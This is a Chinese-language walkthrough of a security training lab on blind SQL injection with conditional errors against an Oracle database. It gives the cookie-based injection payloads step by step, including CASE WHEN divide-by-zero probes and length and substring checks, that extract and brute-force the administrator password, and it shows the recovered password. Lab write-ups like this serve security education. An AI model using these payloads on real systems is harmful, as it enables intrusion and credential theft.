Lab12_ Blind SQL injection with conditional errors

news/2025/2/23 4:32:33/

文章目录

  • 前言:
  • 进入实验室
  • 构造 payload

前言:

实验室标题为:

利用条件错误进行 SQL 盲注

等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录做出任何不同的响应。如果 SQL 查询导致错误,应用程序会返回一条自定义错误消息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用 SQL 盲注漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

提示:本实验室使用的是 Oracle 数据库

进入实验室

可以看到,依旧是一个商店页面

构造 payload

和上一关一样,依旧是借助插件 EditThisCookie

输入单引号,刷新页面

页面显示报错,500 服务器内部错误

输入单引号+注释符,刷新页面

页面显示正常,报错消失

构造子查询,通过子查询判断报错是 SQL 语法报错,而不是其它类型的报错

sql">'||(select '' from dual)||'

页面显示正常

继续构建一个无效的子查询

sql">'||(select '' from aaaa)||'

页面报错

可以确认,后端将注入语句当作 SQL 查询处理

只要确保注入语法有效的 SQL 查询,就可以通告报错来推断数据库的关键信息

验证是否存在 users 表

sql">' ||(select '' from users where rownum=1)||'

页面返回正常,表示存在 users 表

根据实验室提供的 SQL 注入小抄

sql">SELECT CASE WHEN (your-condition-here) THEN TO_CHAR(1/0)  -- 条件成立时执行ELSE NULL          -- 条件不成立时返回NULLEND 
FROM DUAL;

修改 payload 为:

sql">'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'

刷新页面,显示报错信息

将 SQL 语句中的判断条件 1=1 改为 1=2

sql">'||(select case when (1=2) then to_char(1/0) else '' end from dual)||'

页面返回正常

因此可以通过设置 SQL 语句中的条件为 1=1 ,使页面报错来推断数据库的关键信息

查询用户名 administrator 是否存在

sql">'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'

页面报错,说明存在administrator 用户

继续判断管理员用户密码的字符数

sql">'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator')||'

通过页面报错来判断密码字符数,当页面不再显示报错时,密码的长度也就确定了

通过判断密码字符为 20 位

接着推断密码的具体值

sql">'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

通过 burp 来爆破数据

在 SQL 语句中,条件为真时,页面显示 500 报错,因此可以通告 HTTP 状态码来判断

根据爆破结果,得到密码的具体值

ynhpdsfe6fkf9tdbd5nj

登录 administrator 账户,成功通关


http://www.ppmy.cn/news/1574337.html

相关文章

AI 编程助手 cursor的系统提示词 prompt

# Role 你是一名极其优秀具有10年经验的产品经理和精通java编程语言的架构师。与你交流的用户是不懂代码的初中生,不善于表达产品和代码需求。你的工作对用户来说非常重要,完成后将获得10000美元奖励。 # Goal 你的目标是帮助用户以他容易理解的…

基于Django的购物商城平台的设计与实现(源码+lw+部署文档+讲解),源码可白嫖!

摘要 当今社会进入了科技进步、经济社会快速发展的新时代。国际信息和学术交流也不断加强,计算机技术对经济社会发展和人民生活改善的影响也日益突出,人类的生存和思考方式也产生了变化。传统购物管理采取了人工的管理方法,但这种管理方法存…

负载均衡 方式

DNS 软件负载均衡 Nginx 也是 软件负载均衡 各种策略 1、轮询(默认) 2、weight(权重) 3、IP Hash (会话粘滞) 4、fair 5、UrlHash

基于vue框架的的疫情物资管理系统o489k(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。

系统程序文件列表 项目功能:用户,物资信息,物资入库,配送员,物资出库,配送信息,物资分类,物资申请,急缺物资,体温打卡,请假申请,公告信息,登录日志 开题报告内容 基于Vue框架的疫情物资管理系统开题报告 一、项目背景及意义 随着全球疫情的持续影响,…

【Kafka】Kafka高性能解读

Kafka 的高性能源于其分布式架构设计、高效数据存储和优化算法。以下是 Kafka 高性能的核心原理及其实现细节: 1. 分布式架构设计 1.1 分区(Partitioning) 并行处理:将 Topic 划分为多个 Partition,每个 Partition 独…

[深度学习][python]yolov12+bytetrack+pyqt5实现目标追踪

【算法介绍】 实时目标检测因其低延迟特性而持续受到广泛关注,具有重要的实际应用价值[4, 17, 24, 28]。其中,YOLO系列[3, 24, 28, 29, 32, 45-47, 53, 57, 58]通过有效平衡延迟与精度,在该领域占据主导地位。尽管YOLO的改进多集中在损失函数…

蓝桥杯 1.语言基础

蓝桥杯 1.语言基础 文章目录 蓝桥杯 1.语言基础编程基础C版本和基础格式输入输出string的使用编程1-5 竞赛常用库函数sort()最值查找二分查找大小写转换全排列其他库函数 STLpairvectorliststackqueuesetmap总结编程6-10 编程基础 C版本和基础格式 版本: 蓝桥杯使用C11 基础…

基于javaweb的SpringBoot校园二手商品系统设计和实现(源码+文档+部署讲解)

技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…